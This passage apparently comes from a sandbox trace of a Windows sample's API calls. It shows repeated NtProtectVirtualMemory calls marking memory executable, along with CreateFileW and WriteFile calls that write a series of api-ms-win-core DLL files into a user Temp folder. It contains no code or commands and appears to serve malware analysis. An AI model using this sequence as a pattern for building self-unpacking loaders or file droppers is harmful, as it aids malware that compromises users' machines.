out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.576] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.577] VirtualFree (lpAddress=0x1f374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.578] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f365fd0, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-handle-l1-1-0.dll1-0.dll") returned 33 [0148.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.579] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-handle-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-handle-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.580] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a748*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a748*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.581] CloseHandle (hObject=0x44) returned 1 [0148.586] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a748, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-heap-l1-1-0.dllll1-0.dll") returned 31 [0148.587] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-heap-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.588] WriteFile (in: hFile=0x44, lpBuffer=0x1f365fd0*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f365fd0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.589] CloseHandle (hObject=0x44) returned 1 [0148.593] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.594] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f365fd0, cbMultiByte=38, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-interlocked-l1-1-0.dllll") returned 38 [0148.595] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-interlocked-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-interlocked-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.595] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a5d4*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a5d4*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x45c0, lpOverlapped=0x0) returned 1 [0148.597] CloseHandle (hObject=0x44) returned 1 [0148.598] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.599] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.599] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a5d4, cbMultiByte=40, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-libraryloader-l1-1-0.dll") returned 40 [0148.600] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-libraryloader-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-libraryloader-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.601] WriteFile (in: hFile=0x44, lpBuffer=0x1f36ef54*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36ef54*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.602] CloseHandle (hObject=0x44) returned 1 [0148.611] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.611] VirtualAlloc (lpAddress=0x1f370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0148.612] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36ef54, cbMultiByte=39, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-localization-l1-2-0.dlll") returned 39 [0148.613] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.613] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.614] WriteFile (in: hFile=0x44, lpBuffer=0x1f361888*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f361888*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5138, lpOverlapped=0x0) returned 1 [0148.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.624] CloseHandle (hObject=0x44) returned 1 [0148.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.641] VirtualFree (lpAddress=0x1f364000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.641] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.642] VirtualFree (lpAddress=0x1f370000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36c00c, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-memory-l1-1-0.dll-0.dlll") returned 33 [0148.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.643] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-memory-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-memory-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.655] WriteFile (in: hFile=0x44, lpBuffer=0x1f3661d0*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3661d0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.657] CloseHandle (hObject=0x44) returned 1 [0148.661] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.696] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.696] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f3661d0, cbMultiByte=36, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-namedpipe-l1-1-0.dlldlll") returned 36 [0148.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.698] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-namedpipe-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-namedpipe-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.698] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a94c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a94c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.700] CloseHandle (hObject=0x44) returned 1 [0148.701] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.702] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.702] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a94c, cbMultiByte=45, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processenvironment-l1-1-0.dll") returned 45 [0148.703] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-processenvironment-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processenvironment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.703] WriteFile (in: hFile=0x44, lpBuffer=0x1f36f4c8*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36f4c8*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4b30, lpOverlapped=0x0) returned 1 [0148.705] CloseHandle (hObject=0x44) returned 1 [0148.706] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.706] VirtualAlloc (lpAddress=0x1f370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0148.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36800c, cbMultiByte=41, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-0.dll.dll") returned 41 [0148.707] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-processthreads-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processthreads-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.716] WriteFile (in: hFile=0x44, lpBuffer=0x1f368044*, nNumberOfBytesToWrite=0x4bc0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f368044*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4bc0, lpOverlapped=0x0) returned 1 [0148.718] CloseHandle (hObject=0x44) returned 1 [0148.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.719] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.720] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.720] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f374098, cbMultiByte=41, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-1.dll.dll") returned 41 [0148.721] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.722] WriteFile (in: hFile=0x44, lpBuffer=0x1f3661d0*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3661d0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.723] CloseHandle (hObject=0x44) returned 1 [0148.724] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.725] VirtualFree (lpAddress=0x1f374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.725] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f3661d0, cbMultiByte=34, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-profile-l1-1-0.dll1-1.dll.dll") returned 34 [0148.726] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-profile-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-profile-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.727] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a740*, nNumberOfBytesToWrite=0x4530, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a740*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4530, lpOverlapped=0x0) returned 1 [0148.729] CloseHandle (hObject=0x44) returned 1 [0148.732] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a740, cbMultiByte=37, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-rtlsupport-l1-1-0.dll.dll.dll") returned 37 [0148.733] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-rtlsupport-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-rtlsupport-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.733] WriteFile (in: hFile=0x44, lpBuffer=0x1f365dd0*, nNumberOfBytesToWrite=0x4538, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f365dd0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4538, lpOverlapped=0x0) returned 1 [0148.736] CloseHandle (hObject=0x44) returned 1 [0148.738] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.738] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f365dd0, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-string-l1-1-0.dll.dll.dll.dll") returned 33 [0148.739] CreateFileW 